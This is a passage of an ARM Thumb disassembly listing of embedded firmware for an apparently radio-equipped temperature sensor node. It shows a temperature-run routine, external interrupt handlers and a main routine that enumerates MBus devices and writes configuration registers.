65c: 681b ldr r3, [r3, #0]
65e: 2b00 cmp r3, #0
660: d004 beq.n 66c <operation_temp_run+0x1fc>
662: 4b4c ldr r3, [pc, #304] ; (794 <operation_temp_run+0x324>)
664: 2000 movs r0, #0
666: 6819 ldr r1, [r3, #0]
668: f7ff fea0 bl 3ac <send_radio_data_ppm>
66c: 4b3d ldr r3, [pc, #244] ; (764 <operation_temp_run+0x2f4>)
66e: 681b ldr r3, [r3, #0]
670: 2b04 cmp r3, #4
672: d809 bhi.n 688 <operation_temp_run+0x218>
674: 4851 ldr r0, [pc, #324] ; (7bc <operation_temp_run+0x34c>)
676: f7ff fd0e bl 96 <delay>
67a: 2001 movs r0, #1
67c: 4950 ldr r1, [pc, #320] ; (7c0 <operation_temp_run+0x350>)
67e: f7ff fe95 bl 3ac <send_radio_data_ppm>
682: 4b50 ldr r3, [pc, #320] ; (7c4 <operation_temp_run+0x354>)
684: 6818 ldr r0, [r3, #0]
686: e028 b.n 6da <operation_temp_run+0x26a>
688: 4844 ldr r0, [pc, #272] ; (79c <operation_temp_run+0x32c>)
68a: 494f ldr r1, [pc, #316] ; (7c8 <operation_temp_run+0x358>)
68c: 6804 ldr r4, [r0, #0]
68e: 680a ldr r2, [r1, #0]
690: 4b4e ldr r3, [pc, #312] ; (7cc <operation_temp_run+0x35c>)
692: 3264 adds r2, #100 ; 0x64
694: 4294 cmp r4, r2
696: d201 bcs.n 69c <operation_temp_run+0x22c>
698: 2201 movs r2, #1
69a: e018 b.n 6ce <operation_temp_run+0x25e>
69c: 6805 ldr r5, [r0, #0]
69e: 680c ldr r4, [r1, #0]
6a0: 4a4b ldr r2, [pc, #300] ; (7d0 <operation_temp_run+0x360>)
6a2: 34c8 adds r4, #200 ; 0xc8
6a4: 42a5 cmp r5, r4
6a6: d201 bcs.n 6ac <operation_temp_run+0x23c>
6a8: 6812 ldr r2, [r2, #0]
6aa: e010 b.n 6ce <operation_temp_run+0x25e>
6ac: 6805 ldr r5, [r0, #0]
6ae: 680c ldr r4, [r1, #0]
6b0: 34f5 adds r4, #245 ; 0xf5
6b2: 34ff adds r4, #255 ; 0xff
6b4: 42a5 cmp r5, r4
6b6: d201 bcs.n 6bc <operation_temp_run+0x24c>
6b8: 6852 ldr r2, [r2, #4]
6ba: e008 b.n 6ce <operation_temp_run+0x25e>
6bc: 6800 ldr r0, [r0, #0]
6be: 4c45 ldr r4, [pc, #276] ; (7d4 <operation_temp_run+0x364>)
6c0: 6809 ldr r1, [r1, #0]
6c2: 1909 adds r1, r1, r4
6c4: 4288 cmp r0, r1
6c6: d201 bcs.n 6cc <operation_temp_run+0x25c>
6c8: 6892 ldr r2, [r2, #8]
6ca: e000 b.n 6ce <operation_temp_run+0x25e>
6cc: 68d2 ldr r2, [r2, #12]
6ce: 601a str r2, [r3, #0]
6d0: 4b41 ldr r3, [pc, #260] ; (7d8 <operation_temp_run+0x368>)
6d2: 6818 ldr r0, [r3, #0]
6d4: 4b3d ldr r3, [pc, #244] ; (7cc <operation_temp_run+0x35c>)
6d6: 681b ldr r3, [r3, #0]
6d8: 4358 muls r0, r3
6da: 2101 movs r1, #1
6dc: b280 uxth r0, r0
6de: 1c0a adds r2, r1, #0
6e0: f7ff fcee bl c0 <set_wakeup_timer>
6e4: 4b3d ldr r3, [pc, #244] ; (7dc <operation_temp_run+0x36c>)
6e6: 681b ldr r3, [r3, #0]
6e8: 2b00 cmp r3, #0
6ea: d004 beq.n 6f6 <operation_temp_run+0x286>
6ec: 4b3c ldr r3, [pc, #240] ; (7e0 <operation_temp_run+0x370>)
6ee: 2200 movs r2, #0
6f0: 601a str r2, [r3, #0]
6f2: f7ff fd63 bl 1bc <radio_power_off>
6f6: 4a3b ldr r2, [pc, #236] ; (7e4 <operation_temp_run+0x374>)
6f8: 6813 ldr r3, [r2, #0]
6fa: 2b00 cmp r3, #0
6fc: d006 beq.n 70c <operation_temp_run+0x29c>
6fe: 4b27 ldr r3, [pc, #156] ; (79c <operation_temp_run+0x32c>)
700: 6819 ldr r1, [r3, #0]
702: 4b31 ldr r3, [pc, #196] ; (7c8 <operation_temp_run+0x358>)
704: 6019 str r1, [r3, #0]
706: 2300 movs r3, #0
708: 6013 str r3, [r2, #0]
70a: e00a b.n 722 <operation_temp_run+0x2b2>
70c: 4a26 ldr r2, [pc, #152] ; (7a8 <operation_temp_run+0x338>)
70e: 6811 ldr r1, [r2, #0]
710: 2900 cmp r1, #0
712: d009 beq.n 728 <operation_temp_run+0x2b8>
714: 4913 ldr r1, [pc, #76] ; (764 <operation_temp_run+0x2f4>)
716: 2032 movs r0, #50 ; 0x32
718: 6809 ldr r1, [r1, #0]
71a: 6812 ldr r2, [r2, #0]
71c: 4090 lsls r0, r2
71e: 4281 cmp r1, r0
720: d902 bls.n 728 <operation_temp_run+0x2b8>
722: 4a31 ldr r2, [pc, #196] ; (7e8 <operation_temp_run+0x378>)
724: 6013 str r3, [r2, #0]
726: e013 b.n 750 <operation_temp_run+0x2e0>
728: f7ff fd34 bl 194 <mbus_sleep_all>
72c: e7fe b.n 72c <operation_temp_run+0x2bc>
72e: 4b12 ldr r3, [pc, #72] ; (778 <operation_temp_run+0x308>)
730: 4a2e ldr r2, [pc, #184] ; (7ec <operation_temp_run+0x37c>)
732: 6819 ldr r1, [r3, #0]
734: 2005 movs r0, #5
736: 400a ands r2, r1
738: 601a str r2, [r3, #0]
73a: 6819 ldr r1, [r3, #0]
73c: 2280 movs r2, #128 ; 0x80
73e: 0392 lsls r2, r2, #14
740: 430a orrs r2, r1
742: 601a str r2, [r3, #0]
744: 681a ldr r2, [r3, #0]
746: 210e movs r1, #14
748: f7ff fd2a bl 1a0 <mbus_remote_register_write>
74c: f7ff fd80 bl 250 <temp_power_off>
750: f7ff fe16 bl 380 <operation_sleep_notimer>
754: bd38 pop {r3, r4, r5, pc}
756: 46c0 nop ; (mov r8, r8)
758: 0000139c .word 0x0000139c
75c: 00001388 .word 0x00001388
760: 00001394 .word 0x00001394
764: 00001378 .word 0x00001378
768: 00001358 .word 0x00001358
76c: fffff7ff .word 0xfffff7ff
770: 00001320 .word 0x00001320
774: ffffefff .word 0xffffefff
778: 0000134c .word 0x0000134c
77c: ffdfffff .word 0xffdfffff
780: fffeffff .word 0xfffeffff
784: 000013a4 .word 0x000013a4
788: 00004e20 .word 0x00004e20
78c: 000fffff .word 0x000fffff
790: fafafafa .word 0xfafafafa
794: 000013b8 .word 0x000013b8
798: 00000666 .word 0x00000666
79c: 00001324 .word 0x00001324
7a0: 000013ac .word 0x000013ac
7a4: 00001a08 .word 0x00001a08
7a8: 00001390 .word 0x00001390
7ac: 0000018f .word 0x0000018f
7b0: 00001380 .word 0x00001380
7b4: 000013c4 .word 0x000013c4
7b8: 00001374 .word 0x00001374
7bc: 00001388 .word 0x00001388
7c0: 00faf000 .word 0x00faf000
7c4: 000013a0 .word 0x000013a0
7c8: 00001350 .word 0x00001350
7cc: 0000132c .word 0x0000132c
7d0: 00001360 .word 0x00001360
7d4: 000005dc .word 0x000005dc
7d8: 000013bc .word 0x000013bc
7dc: 000013c0 .word 0x000013c0
7e0: 00001370 .word 0x00001370
7e4: 0000138c .word 0x0000138c
7e8: 000013b4 .word 0x000013b4
7ec: ffbfffff .word 0xffbfffff
Disassembly of section .text.handler_ext_int_0:
000007f0 <handler_ext_int_0>:
7f0: 4b01 ldr r3, [pc, #4] ; (7f8 <handler_ext_int_0+0x8>)
7f2: 2201 movs r2, #1
7f4: 601a str r2, [r3, #0]
7f6: 4770 bx lr
7f8: e000e280 .word 0xe000e280
Disassembly of section .text.handler_ext_int_1:
000007fc <handler_ext_int_1>:
7fc: 4b01 ldr r3, [pc, #4] ; (804 <handler_ext_int_1+0x8>)
7fe: 2202 movs r2, #2
800: 601a str r2, [r3, #0]
802: 4770 bx lr
804: e000e280 .word 0xe000e280
Disassembly of section .text.handler_ext_int_2:
00000808 <handler_ext_int_2>:
808: 4b05 ldr r3, [pc, #20] ; (820 <handler_ext_int_2+0x18>)
80a: 2204 movs r2, #4
80c: 601a str r2, [r3, #0]
80e: 4b05 ldr r3, [pc, #20] ; (824 <handler_ext_int_2+0x1c>)
810: 2210 movs r2, #16
812: 601a str r2, [r3, #0]
814: 23a0 movs r3, #160 ; 0xa0
816: 061b lsls r3, r3, #24
818: 681a ldr r2, [r3, #0]
81a: 4b03 ldr r3, [pc, #12] ; (828 <handler_ext_int_2+0x20>)
81c: 601a str r2, [r3, #0]
81e: 4770 bx lr
820: e000e280 .word 0xe000e280
824: 000013a4 .word 0x000013a4
828: 000013b8 .word 0x000013b8
Disassembly of section .text.handler_ext_int_3:
0000082c <handler_ext_int_3>:
82c: 4b03 ldr r3, [pc, #12] ; (83c <handler_ext_int_3+0x10>)
82e: 2208 movs r2, #8
830: 601a str r2, [r3, #0]
832: 4b03 ldr r3, [pc, #12] ; (840 <handler_ext_int_3+0x14>)
834: 2211 movs r2, #17
836: 601a str r2, [r3, #0]
838: 4770 bx lr
83a: 46c0 nop ; (mov r8, r8)
83c: e000e280 .word 0xe000e280
840: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_4:
00000844 <handler_ext_int_4>:
844: 4b03 ldr r3, [pc, #12] ; (854 <handler_ext_int_4+0x10>)
846: 2210 movs r2, #16
848: 601a str r2, [r3, #0]
84a: 4b03 ldr r3, [pc, #12] ; (858 <handler_ext_int_4+0x14>)
84c: 2212 movs r2, #18
84e: 601a str r2, [r3, #0]
850: 4770 bx lr
852: 46c0 nop ; (mov r8, r8)
854: e000e280 .word 0xe000e280
858: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_5:
0000085c <handler_ext_int_5>:
85c: 4b03 ldr r3, [pc, #12] ; (86c <handler_ext_int_5+0x10>)
85e: 2220 movs r2, #32
860: 601a str r2, [r3, #0]
862: 4b03 ldr r3, [pc, #12] ; (870 <handler_ext_int_5+0x14>)
864: 2213 movs r2, #19
866: 601a str r2, [r3, #0]
868: 4770 bx lr
86a: 46c0 nop ; (mov r8, r8)
86c: e000e280 .word 0xe000e280
870: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_6:
00000874 <handler_ext_int_6>:
874: 4b03 ldr r3, [pc, #12] ; (884 <handler_ext_int_6+0x10>)
876: 2240 movs r2, #64 ; 0x40
878: 601a str r2, [r3, #0]
87a: 4b03 ldr r3, [pc, #12] ; (888 <handler_ext_int_6+0x14>)
87c: 2214 movs r2, #20
87e: 601a str r2, [r3, #0]
880: 4770 bx lr
882: 46c0 nop ; (mov r8, r8)
884: e000e280 .word 0xe000e280
888: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_7:
0000088c <handler_ext_int_7>:
88c: 4b03 ldr r3, [pc, #12] ; (89c <handler_ext_int_7+0x10>)
88e: 2280 movs r2, #128 ; 0x80
890: 601a str r2, [r3, #0]
892: 4b03 ldr r3, [pc, #12] ; (8a0 <handler_ext_int_7+0x14>)
894: 2215 movs r2, #21
896: 601a str r2, [r3, #0]
898: 4770 bx lr
89a: 46c0 nop ; (mov r8, r8)
89c: e000e280 .word 0xe000e280
8a0: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_8:
000008a4 <handler_ext_int_8>:
8a4: 4b03 ldr r3, [pc, #12] ; (8b4 <handler_ext_int_8+0x10>)
8a6: 2280 movs r2, #128 ; 0x80
8a8: 0052 lsls r2, r2, #1
8aa: 601a str r2, [r3, #0]
8ac: 4b02 ldr r3, [pc, #8] ; (8b8 <handler_ext_int_8+0x14>)
8ae: 2216 movs r2, #22
8b0: 601a str r2, [r3, #0]
8b2: 4770 bx lr
8b4: e000e280 .word 0xe000e280
8b8: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_9:
000008bc <handler_ext_int_9>:
8bc: 4b03 ldr r3, [pc, #12] ; (8cc <handler_ext_int_9+0x10>)
8be: 2280 movs r2, #128 ; 0x80
8c0: 0092 lsls r2, r2, #2
8c2: 601a str r2, [r3, #0]
8c4: 4b02 ldr r3, [pc, #8] ; (8d0 <handler_ext_int_9+0x14>)
8c6: 2217 movs r2, #23
8c8: 601a str r2, [r3, #0]
8ca: 4770 bx lr
8cc: e000e280 .word 0xe000e280
8d0: 000013a4 .word 0x000013a4
Disassembly of section .text.handler_ext_int_10:
000008d4 <handler_ext_int_10>:
8d4: 4b02 ldr r3, [pc, #8] ; (8e0 <handler_ext_int_10+0xc>)
8d6: 2280 movs r2, #128 ; 0x80
8d8: 00d2 lsls r2, r2, #3
8da: 601a str r2, [r3, #0]
8dc: 4770 bx lr
8de: 46c0 nop ; (mov r8, r8)
8e0: e000e280 .word 0xe000e280
Disassembly of section .text.handler_ext_int_11:
000008e4 <handler_ext_int_11>:
8e4: 4b02 ldr r3, [pc, #8] ; (8f0 <handler_ext_int_11+0xc>)
8e6: 2280 movs r2, #128 ; 0x80
8e8: 0112 lsls r2, r2, #4
8ea: 601a str r2, [r3, #0]
8ec: 4770 bx lr
8ee: 46c0 nop ; (mov r8, r8)
8f0: e000e280 .word 0xe000e280
Disassembly of section .text.handler_ext_int_12:
000008f4 <handler_ext_int_12>:
8f4: 4b02 ldr r3, [pc, #8] ; (900 <handler_ext_int_12+0xc>)
8f6: 2280 movs r2, #128 ; 0x80
8f8: 0152 lsls r2, r2, #5
8fa: 601a str r2, [r3, #0]
8fc: 4770 bx lr
8fe: 46c0 nop ; (mov r8, r8)
900: e000e280 .word 0xe000e280
Disassembly of section .text.handler_ext_int_13:
00000904 <handler_ext_int_13>:
904: 4b02 ldr r3, [pc, #8] ; (910 <handler_ext_int_13+0xc>)
906: 2280 movs r2, #128 ; 0x80
908: 0192 lsls r2, r2, #6
90a: 601a str r2, [r3, #0]
90c: 4770 bx lr
90e: 46c0 nop ; (mov r8, r8)
910: e000e280 .word 0xe000e280
Disassembly of section .text.startup.main:
00000914 <main>:
914: b5f0 push {r4, r5, r6, r7, lr}
916: b085 sub sp, #20
918: f7ff fbe8 bl ec <enable_reg_irq>
91c: 48f5 ldr r0, [pc, #980] ; (cf4 <main+0x3e0>)
91e: f7ff fbc3 bl a8 <config_timerwd>
922: 4af5 ldr r2, [pc, #980] ; (cf8 <main+0x3e4>)
924: 49f5 ldr r1, [pc, #980] ; (cfc <main+0x3e8>)
926: 6813 ldr r3, [r2, #0]
928: 428b cmp r3, r1
92a: d100 bne.n 92e <main+0x1a>
92c: e17f b.n c2e <main+0x31a>
92e: 4bf4 ldr r3, [pc, #976] ; (d00 <main+0x3ec>)
930: 2780 movs r7, #128 ; 0x80
932: 6818 ldr r0, [r3, #0]
934: 017f lsls r7, r7, #5
936: 4338 orrs r0, r7
938: 6018 str r0, [r3, #0]
93a: 681c ldr r4, [r3, #0]
93c: 48f1 ldr r0, [pc, #964] ; (d04 <main+0x3f0>)
93e: 250f movs r5, #15
940: 4020 ands r0, r4
942: 2480 movs r4, #128 ; 0x80
944: 01a4 lsls r4, r4, #6
946: 4320 orrs r0, r4
948: 6018 str r0, [r3, #0]
94a: 681c ldr r4, [r3, #0]
94c: 48ee ldr r0, [pc, #952] ; (d08 <main+0x3f4>)
94e: 2606 movs r6, #6
950: 4020 ands r0, r4
952: 2480 movs r4, #128 ; 0x80
954: 0224 lsls r4, r4, #8
956: 4320 orrs r0, r4
958: 6018 str r0, [r3, #0]
95a: 681c ldr r4, [r3, #0]
95c: 20c0 movs r0, #192 ; 0xc0
95e: 02c0 lsls r0, r0, #11
960: 4320 orrs r0, r4
962: 6018 str r0, [r3, #0]
964: 6818 ldr r0, [r3, #0]
966: 4be9 ldr r3, [pc, #932] ; (d0c <main+0x3f8>)
968: 2400 movs r4, #0
96a: 6018 str r0, [r3, #0]
96c: 4be8 ldr r3, [pc, #928] ; (d10 <main+0x3fc>)
96e: 2064 movs r0, #100 ; 0x64
970: 601c str r4, [r3, #0]
972: 4be8 ldr r3, [pc, #928] ; (d14 <main+0x400>)
974: 6011 str r1, [r2, #0]
976: 601c str r4, [r3, #0]
978: 4be7 ldr r3, [pc, #924] ; (d18 <main+0x404>)
97a: 601c str r4, [r3, #0]
97c: 4be7 ldr r3, [pc, #924] ; (d1c <main+0x408>)
97e: 601c str r4, [r3, #0]
980: f7ff fb89 bl 96 <delay>
984: 2004 movs r0, #4
986: f7ff fbfb bl 180 <mbus_enumerate>
98a: 2064 movs r0, #100 ; 0x64
98c: f7ff fb83 bl 96 <delay>
990: 2005 movs r0, #5
992: f7ff fbf5 bl 180 <mbus_enumerate>
996: 2064 movs r0, #100 ; 0x64
998: f7ff fb7d bl 96 <delay>
99c: 2003 movs r0, #3
99e: f7ff fbef bl 180 <mbus_enumerate>
9a2: 2064 movs r0, #100 ; 0x64
9a4: f7ff fb77 bl 96 <delay>
9a8: 2006 movs r0, #6
9aa: f7ff fbe9 bl 180 <mbus_enumerate>
9ae: 2064 movs r0, #100 ; 0x64
9b0: f7ff fb71 bl 96 <delay>
9b4: 2117 movs r1, #23
9b6: 4ada ldr r2, [pc, #872] ; (d20 <main+0x40c>)
9b8: 2006 movs r0, #6
9ba: f7ff fbf1 bl 1a0 <mbus_remote_register_write>
9be: 2064 movs r0, #100 ; 0x64
9c0: f7ff fb69 bl 96 <delay>
9c4: 2117 movs r1, #23
9c6: 4ad6 ldr r2, [pc, #856] ; (d20 <main+0x40c>)
9c8: 2006 movs r0, #6
9ca: f7ff fbe9 bl 1a0 <mbus_remote_register_write>
9ce: 2064 movs r0, #100 ; 0x64
9d0: f7ff fb61 bl 96 <delay>
9d4: 2118 movs r1, #24
9d6: 4ad3 ldr r2, [pc, #844] ; (d24 <main+0x410>)
9d8: 2006 movs r0, #6
9da: f7ff fbe1 bl 1a0 <mbus_remote_register_write>
9de: 2064 movs r0, #100 ; 0x64
9e0: f7ff fb59 bl 96 <delay>
9e4: 2119 movs r1, #25
9e6: 4ad0 ldr r2, [pc, #832] ; (d28 <main+0x414>)
9e8: 2006 movs r0, #6
9ea: f7ff fbd9 bl 1a0 <mbus_remote_register_write>
9ee: 2064 movs r0, #100 ; 0x64
9f0: f7ff fb51 bl 96 <delay>
9f4: 211a movs r1, #26
9f6: 4acd ldr r2, [pc, #820] ; (d2c <main+0x418>)
9f8: 2006 movs r0, #6
9fa: f7ff fbd1 bl 1a0 <mbus_remote_register_write>
9fe: 2064 movs r0, #100 ; 0x64
a00: f7ff fb49 bl 96 <delay>
a04: 2115 movs r1, #21
a06: 4aca ldr r2, [pc, #808] ; (d30 <main+0x41c>)
a08: 2006 movs r0, #6
a0a: f7ff fbc9 bl 1a0 <mbus_remote_register_write>
a0e: 2064 movs r0, #100 ; 0x64
a10: f7ff fb41 bl 96 <delay>
a14: 2116 movs r1, #22
a16: 4ac7 ldr r2, [pc, #796] ; (d34 <main+0x420>)
a18: 2006 movs r0, #6
a1a: f7ff fbc1 bl 1a0 <mbus_remote_register_write>
a1e: 2064 movs r0, #100 ; 0x64
a20: f7ff fb39 bl 96 <delay>
a24: 2105 movs r1, #5
a26: 4ac4 ldr r2, [pc, #784] ; (d38 <main+0x424>)
a28: 2006 movs r0, #6
a2a: f7ff fbb9 bl 1a0 <mbus_remote_register_write>
a2e: 2064 movs r0, #100 ; 0x64
a30: f7ff fb31 bl 96 <delay>
a34: 2105 movs r1, #5
a36: 4ac1 ldr r2, [pc, #772] ; (d3c <main+0x428>)
a38: 2006 movs r0, #6
a3a: f7ff fbb1 bl 1a0 <mbus_remote_register_write>
a3e: 2064 movs r0, #100 ; 0x64
a40: f7ff fb29 bl 96 <delay>
a44: 2136 movs r1, #54 ; 0x36
a46: 4abe ldr r2, [pc, #760] ; (d40 <main+0x42c>)
a48: 2006 movs r0, #6
a4a: f7ff fba9 bl 1a0 <mbus_remote_register_write>
a4e: 2064 movs r0, #100 ; 0x64
a50: f7ff fb21 bl 96 <delay>
a54: f7ff fc30 bl 2b8 <reset_pmu_solar_short>
a58: 4bba ldr r3, [pc, #744] ; (d44 <main+0x430>)
a5a: 2005 movs r0, #5
a5c: 681a ldr r2, [r3, #0]
a5e: 2119 movs r1, #25
a60: 0e12 lsrs r2, r2, #24
a62: 0612 lsls r2, r2, #24
a64: 433a orrs r2, r7
a66: 601a str r2, [r3, #0]
a68: 681a ldr r2, [r3, #0]
a6a: f7ff fb99 bl 1a0 <mbus_remote_register_write>
a6e: 4bb6 ldr r3, [pc, #728] ; (d48 <main+0x434>)
a70: 2280 movs r2, #128 ; 0x80
a72: 6819 ldr r1, [r3, #0]
a74: 0412 lsls r2, r2, #16
a76: 430a orrs r2, r1
a78: 601a str r2, [r3, #0]
a7a: 6819 ldr r1, [r3, #0]
a7c: 4ab3 ldr r2, [pc, #716] ; (d4c <main+0x438>)
a7e: 2005 movs r0, #5
a80: 400a ands r2, r1
a82: 21c0 movs r1, #192 ; 0xc0
a84: 0309 lsls r1, r1, #12
a86: 430a orrs r2, r1
a88: 601a str r2, [r3, #0]
a8a: 681a ldr r2, [r3, #0]
a8c: 21f0 movs r1, #240 ; 0xf0
a8e: 438a bics r2, r1
a90: 601a str r2, [r3, #0]
a92: 681a ldr r2, [r3, #0]
a94: 210e movs r1, #14
a96: 43aa bics r2, r5
a98: 601a str r2, [r3, #0]
a9a: 681a ldr r2, [r3, #0]
a9c: f7ff fb80 bl 1a0 <mbus_remote_register_write>
aa0: 4bab ldr r3, [pc, #684] ; (d50 <main+0x43c>)
aa2: 2170 movs r1, #112 ; 0x70
aa4: 681a ldr r2, [r3, #0]
aa6: 2005 movs r0, #5
aa8: 430a orrs r2, r1
aaa: 601a str r2, [r3, #0]
aac: 6819 ldr r1, [r3, #0]
aae: 4aa9 ldr r2, [pc, #676] ; (d54 <main+0x440>)
ab0: 400a ands r2, r1
ab2: 601a str r2, [r3, #0]
ab4: 681a ldr r2, [r3, #0]
ab6: 1c29 adds r1, r5, #0
ab8: 43aa bics r2, r5
aba: 4332 orrs r2, r6
abc: 601a str r2, [r3, #0]
abe: 681a ldr r2, [r3, #0]
ac0: f7ff fb6e bl 1a0 <mbus_remote_register_write>
ac4: 4ba4 ldr r3, [pc, #656] ; (d58 <main+0x444>)
ac6: 2180 movs r1, #128 ; 0x80
ac8: 681a ldr r2, [r3, #0]
aca: 0109 lsls r1, r1, #4
acc: 430a orrs r2, r1
ace: 601a str r2, [r3, #0]
ad0: 681a ldr r2, [r3, #0]
ad2: 2005 movs r0, #5
ad4: 4317 orrs r7, r2
ad6: 601f str r7, [r3, #0]
ad8: 6819 ldr r1, [r3, #0]
ada: 2280 movs r2, #128 ; 0x80
adc: 0392 lsls r2, r2, #14
ade: 430a orrs r2, r1
ae0: 601a str r2, [r3, #0]
ae2: 6819 ldr r1, [r3, #0]
ae4: 22c0 movs r2, #192 ; 0xc0
ae6: 01d2 lsls r2, r2, #7
ae8: 430a orrs r2, r1
aea: 601a str r2, [r3, #0]
aec: 6819 ldr r1, [r3, #0]
aee: 4a9b ldr r2, [pc, #620] ; (d5c <main+0x448>)
af0: 2704 movs r7, #4
af2: 400a ands r2, r1
af4: 2180 movs r1, #128 ; 0x80
af6: 0349 lsls r1, r1, #13
af8: 430a orrs r2, r1
afa: 601a str r2, [r3, #0]
afc: 681a ldr r2, [r3, #0]
afe: 2112 movs r1, #18
b00: f7ff fb4e bl 1a0 <mbus_remote_register_write>
b04: 2005 movs r0, #5
b06: 22c0 movs r2, #192 ; 0xc0
b08: 4082 lsls r2, r0
b0a: 2118 movs r1, #24
b0c: f7ff fb48 bl 1a0 <mbus_remote_register_write>
b10: 4b93 ldr r3, [pc, #588] ; (d60 <main+0x44c>)
b12: 4a94 ldr r2, [pc, #592] ; (d64 <main+0x450>)
b14: 6819 ldr r1, [r3, #0]
b16: 2004 movs r0, #4
b18: 400a ands r2, r1
b1a: 21bc movs r1, #188 ; 0xbc
b1c: 0409 lsls r1, r1, #16
b1e: 430a orrs r2, r1
b20: 601a str r2, [r3, #0]
b22: 6819 ldr r1, [r3, #0]
b24: 4a90 ldr r2, [pc, #576] ; (d68 <main+0x454>)
b26: 400a ands r2, r1
b28: 601a str r2, [r3, #0]
b2a: 6819 ldr r1, [r3, #0]
b2c: 4a8f ldr r2, [pc, #572] ; (d6c <main+0x458>)
b2e: 400a ands r2, r1
b30: 2180 movs r1, #128 ; 0x80
b32: 0109 lsls r1, r1, #4
b34: 430a orrs r2, r1
b36: 601a str r2, [r3, #0]
b38: 6819 ldr r1, [r3, #0]
b3a: 4a8d ldr r2, [pc, #564] ; (d70 <main+0x45c>)
b3c: 400a ands r2, r1
b3e: 21c0 movs r1, #192 ; 0xc0
b40: 0289 lsls r1, r1, #10
b42: 430a orrs r2, r1
b44: 601a str r2, [r3, #0]
b46: 681a ldr r2, [r3, #0]
b48: 1c21 adds r1, r4, #0
b4a: f7ff fb29 bl 1a0 <mbus_remote_register_write>
b4e: 4b89 ldr r3, [pc, #548] ; (d74 <main+0x460>)
b50: 211f movs r1, #31
b52: 681a ldr r2, [r3, #0]
b54: 2004 movs r0, #4
b56: 438a bics r2, r1
b58: 2110 movs r1, #16
b5a: 430a orrs r2, r1
b5c: 601a str r2, [r3, #0]
b5e: 6819 ldr r1, [r3, #0]
b60: 4a85 ldr r2, [pc, #532] ; (d78 <main+0x464>)
b62: 400a ands r2, r1
b64: 21b8 movs r1, #184 ; 0xb8
b66: 0089 lsls r1, r1, #2
b68: 430a orrs r2, r1
b6a: 601a str r2, [r3, #0]
b6c: 6819 ldr r1, [r3, #0]
b6e: 4a83 ldr r2, [pc, #524] ; (d7c <main+0x468>)
b70: 400a ands r2, r1
b72: 21a0 movs r1, #160 ; 0xa0
b74: 0249 lsls r1, r1, #9
b76: 430a orrs r2, r1
b78: 601a str r2, [r3, #0]
b7a: 681a ldr r2, [r3, #0]
b7c: 210b movs r1, #11
b7e: f7ff fb0f bl 1a0 <mbus_remote_register_write>
b82: 4b7f ldr r3, [pc, #508] ; (d80 <main+0x46c>)
b84: 22c0 movs r2, #192 ; 0xc0
b86: 6819 ldr r1, [r3, #0]
b88: 0352 lsls r2, r2, #13
b8a: 430a orrs r2, r1
b8c: 601a str r2, [r3, #0]
b8e: 6819 ldr r1, [r3, #0]
b90: 4a7c ldr r2, [pc, #496] ; (d84 <main+0x470>)
b92: 2004 movs r0, #4
b94: 400a ands r2, r1
b96: 2180 movs r1, #128 ; 0x80
b98: 0109 lsls r1, r1, #4
b9a: 430a orrs r2, r1
b9c: 601a str r2, [r3, #0]
b9e: 681a ldr r2, [r3, #0]
ba0: 217f movs r1, #127 ; 0x7f
ba2: 438a bics r2, r1
ba4: 2160 movs r1, #96 ; 0x60
ba6: 430a orrs r2, r1
ba8: 601a str r2, [r3, #0]
baa: 681a ldr r2, [r3, #0]
bac: 2101 movs r1, #1
bae: f7ff faf7 bl 1a0 <mbus_remote_register_write>
bb2: 4b75 ldr r3, [pc, #468] ; (d88 <main+0x474>)
bb4: 213f movs r1, #63 ; 0x3f
bb6: 781a ldrb r2, [r3, #0]
bb8: 1c38 adds r0, r7, #0
bba: 438a bics r2, r1
bbc: 433a orrs r2, r7
bbe: 701a strb r2, [r3, #0]
bc0: 681a ldr r2, [r3, #0]
bc2: 210c movs r1, #12
bc4: f7ff faec bl 1a0 <mbus_remote_register_write>
bc8: 22c8 movs r2, #200 ; 0xc8
bca: 1c38 adds r0, r7, #0
bcc: 1c29 adds r1, r5, #0
bce: 0152 lsls r2, r2, #5
bd0: f7ff fae6 bl 1a0 <mbus_remote_register_write>
bd4: 4b6d ldr r3, [pc, #436] ; (d8c <main+0x478>)
bd6: 4a6e ldr r2, [pc, #440] ; (d90 <main+0x47c>)
bd8: 2003 movs r0, #3
bda: 601a str r2, [r3, #0]
bdc: 4b6d ldr r3, [pc, #436] ; (d94 <main+0x480>)
bde: 1c21 adds r1, r4, #0
be0: 6018 str r0, [r3, #0]
be2: 4b6d ldr r3, [pc, #436] ; (d98 <main+0x484>)
be4: 601c str r4, [r3, #0]
be6: 4b6d ldr r3, [pc, #436] ; (d9c <main+0x488>)
be8: 601c str r4, [r3, #0]
bea: 4b6d ldr r3, [pc, #436] ; (da0 <main+0x48c>)
bec: 601c str r4, [r3, #0]
bee: 4b6d ldr r3, [pc, #436] ; (da4 <main+0x490>)
bf0: 601c str r4, [r3, #0]
bf2: 4b6d ldr r3, [pc, #436] ; (da8 <main+0x494>)
bf4: 601c str r4, [r3, #0]
bf6: 4b6d ldr r3, [pc, #436] ; (dac <main+0x498>)
bf8: 601c str r4, [r3, #0]
bfa: 4b6d ldr r3, [pc, #436] ; (db0 <main+0x49c>)
bfc: 601c str r4, [r3, #0]
bfe: 4b6d ldr r3, [pc, #436] ; (db4 <main+0x4a0>)
c00: 601c str r4, [r3, #0]
c02: 4b6d ldr r3, [pc, #436] ; (db8 <main+0x4a4>)
c04: 601c str r4, [r3, #0]
c06: 4b6d ldr r3, [pc, #436] ; (dbc <main+0x4a8>)
c08: 781a ldrb r2, [r3, #0]
c0a: 43aa bics r2, r5
c0c: 4332 orrs r2, r6
c0e: 701a strb r2, [r3, #0]
c10: 681a ldr r2, [r3, #0]
c12: f7ff fac5 bl 1a0 <mbus_remote_register_write>
c16: 2064 movs r0, #100 ; 0x64
c18: f7ff fa3d bl 96 <delay>
c1c: 1c30 adds r0, r6, #0
c1e: 213a movs r1, #58 ; 0x3a
c20: 4a67 ldr r2, [pc, #412] ; (dc0 <main+0x4ac>)
c22: f7ff fabd bl 1a0 <mbus_remote_register_write>
c26: 2064 movs r0, #100 ; 0x64
c28: f7ff fa35 bl 96 <delay>
c2c: e20c b.n 1048 <main+0x734>
c2e: 2378 movs r3, #120 ; 0x78
c30: 681b ldr r3, [r3, #0]
c32: 4f60 ldr r7, [pc, #384] ; (db4 <main+0x4a0>)
c34: 603b str r3, [r7, #0]
